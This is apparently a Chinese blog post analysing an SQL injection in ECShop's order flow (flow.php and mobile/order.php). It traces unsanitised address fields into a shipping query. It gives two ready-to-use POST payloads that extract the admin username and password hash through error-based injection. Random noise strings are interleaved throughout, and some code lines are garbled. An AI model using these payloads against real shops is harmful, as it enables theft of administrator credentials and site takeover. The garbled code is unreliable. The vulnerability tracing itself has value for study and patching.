ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。
& a6 ]8 e* \' B0 S* [) p8 ~) K! v
    漏洞关键文件：
0 k1 E8 m5 k7 r) e2 x8 E7 G
    /includes/lib_order.php
" u$ w, x+ e* S
    关键函数：

! a0 I( Y  K; H5 k& H+ M
9 s9 w8 A$ {% {: s4 c9 \; Y
01     function available_shipping_list($region_id_list)
5 y1 k7 {% f9 C9 _! M
. A: x; \  ?( e02 {

03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
* v% S7 E7 l" \- s/ C' {, m
0 U0 x1 [0 C" N% Y04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

  T& W7 Q% @6 T! S05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, D1 r& ^+ o# U0 R) m
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

3 l4 d/ Y( g' q7 h0 E07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.

3 ?/ V  u0 g9 g( f) M' g08             'WHERE r.region_id ' . db_create_in($region_id_list) .

09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
5 ]# Q4 X7 g6 x+ |, x0 x/ ]
/ c. Z0 T+ n8 a% `* x( G, w11     return $GLOBALS['db']->getAll($sql);
# V' \1 k/ ~' X4 m3 E' I2 S+ m
12 }
* \9 h. i/ S& A. n$ G5 i) ~
显然对传入的参数没有任何过滤就带入了查询语句。
- k, D6 h+ @; m3 Q4 U, T, C
5 B" p) {: I$ T9 P, o下面我们追踪这个函数在flow.php中：
第531行：   
/ z+ o4 W: M2 ]* @1 J7 ?& p& m* p( F
% W8 c0 E: B9 o* n) b$ c. s4 P" `1 $shipping_list     = available_shipping_list($region);




8 n0 u$ A) W/ I0 ]- u, _
再对传入变量进行追踪：
7 z- ?( E6 O. \+ u
  c- t, z  |- n9 v# S7 S& p第530行：   
2 F5 Z% o8 L/ V# O4 V, \
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);

6 \, u$ V$ I9 ]5 h1 W) v/ q

) w/ U7 j/ A7 h. s. e

. R( a, Z, G9 S& Z$ |第473行：        
$ E( ~" K! N, K! A$ q
1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：
# @, E" I1 X3 w0 x
$ e& O! L; F. o# C0 V- V/includes/lib_order.php
% e0 O9 b$ o2 _0 G/ A# Y; |7 d$ y
" M! X& {5 j1 X. T& S1 Q
, t3 t" P  g0 o2 n2 L; C
: k+ Y$ [9 `6 C0 h+ v* y4 g. B! b
. P- E# r. [! ^2 L8 X  |# ~4 P+ ~/ L
01 function get_consignee($user_id)

9 p, a8 L- a' |) h02 {
+ h7 i& E1 [6 y: `5 T
03     if (isset($_SESSION['flow_consignee']))

' Z7 ~! ]2 N- X9 r04     {
; M9 ?! S0 `) f
: R3 g  k/ x2 m( b05         /* 如果存在session，则直接返回session中的收货人信息 */

06   

, ?) ^/ M, O1 \; P7 B3 a+ W07         return $_SESSION['flow_consignee'];

% D1 z3 J' l# m5 r. r5 j2 b08     }
+ v' m4 \6 n! e. h% `) {
  |) \2 B1 U( I& K8 B$ w+ V09     else

/ f" G% d7 y- T( F! k* b10     {
& _& @8 Q4 D; ~  X
11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();
6 @+ S- z  D  z
0 [9 V: x8 H8 `13   
% @; ]0 X9 \9 E( R/ f  {* e- S
5 X* l/ S2 M7 j! }2 C+ h& o9 S9 y14         if ($user_id > 0)

15         {

16             /* 取默认地址 */
# P! h- J- W8 b9 ?% N
17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
; a9 H" B: L% K0 ]& q$ _) K
7 G7 c6 @# G( @19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

20   
) k6 R4 @5 ^2 x  Q) M, p
21             $arr = $GLOBALS['db']->getRow($sql);
! ]4 J0 P% |. l: R9 X0 V! w
, Z" d6 c" h4 y: T# y# t6 z22         }
4 x/ ^- z  Q$ z8 F3 G9 H& [$ x. y- G
23   
) G0 N$ K" n+ F
# H  N) I- H5 u; Z9 h# z; t" L* c24         return $arr;
0 \( R8 ~/ Z; |
25     }
2 C; q! }, D* A: v$ X2 ]
26 }
: D4 V% l, W$ {# p$ B
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

- R" N5 w3 p; Q# F  m

关键点:
& F: K  B( Z6 b+ \
; K& P) U9 J: @5 c: a第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
2 B  Z) O. v, \2 R/ A% f3 q
, H; {7 O4 G3 R. ^& w这里对传入参数反转义存入$_SESSION中。
' [# _! C) w& I' j- A
8 c7 V; Y# _0 j6 y; U; d; \

* K5 a2 t& e" F% Y" R. ?0 J然后看下：



   

1 m" k" Q% u: M# F01 $consignee = array(
( l- `! y: }' b+ o# |5 z* G
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
4 ~8 k0 p6 T! |; \( O
4 F# a3 o9 h5 _/ r5 U# \03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

+ d6 b3 U& m' R9 j04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
" f3 C3 i0 j0 G+ |! v* v
- k# n7 a( _5 i' u7 r# T05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
+ V1 e! S5 s6 ?  X" s# O2 w7 @
- Z( G$ F% V8 o( I' U. \. L06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
8 a! O" y5 C& D) G6 |
) m$ w) C+ S9 Y. C07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

4 d& y/ x( {9 {$ M/ X3 L1 g2 b! H' u! e08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
3 b  Q/ ~3 P" |5 h+ i  ^0 S
8 P# q2 z# m9 h; K& v! o09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

# g* K2 ^( z9 }" F12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

( N' @6 k& L8 r9 r' j% G14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
& C! G6 U# u. P8 h: U6 _/ r( {
15     );

1 Y& T5 |9 Z3 j7 B好了注入就这样出现了。

==================

% d0 Z% g% ~  ^8 D; [$ n4 d注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
+ D0 a7 L( r3 k4 Q$ Y
. p. X& C" @( _1 \! [+ R1 e测试程序：ECShop_V2.7.3_UTF8_release1106



1.首先需要点击一个商品加入购物车
, }) d" u- ?( Y# I% s) e
2.注册一个会员帐号

( d) ?! n/ k6 ]- g/ Y8 ]- }9 j2 ^3.post提交数据

0 @1 ?4 v: s2 x; k" y. `& l
9 T2 ~; f) O9 s1 i, ^
1 http://127.0.0.1/ecshop/flow.php
/ D7 x) G$ \; q% a- p
- u# T! |+ {  Z% J% ]- n# }# X2   
, G1 L% R8 L% P& w8 i) O5 L" J
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：

我们搜寻关键函数function available_shipping_list()

在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同
; |# T- \8 ]2 f9 j8 Z# S: b
利用exp:

1.点击一个商品，点击购买商标
, ?6 O( o! O6 R$ z0 I
, R) R+ N* ?- b2.登录会员帐号
1 R5 n5 k' D3 K; n( h* T+ ]
4 \+ ]2 x" s/ U' c+ B. G/ q3.post提交：

http://127.0.0.1/ecshop/mobile/order.php
9 j/ B  m* }$ K5 S
7 w( [' Q8 m$ n, u* P) f

country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
* v: p: ~- Y9 z! ^( h) a0 x
" E1 R  H: ~( i4 b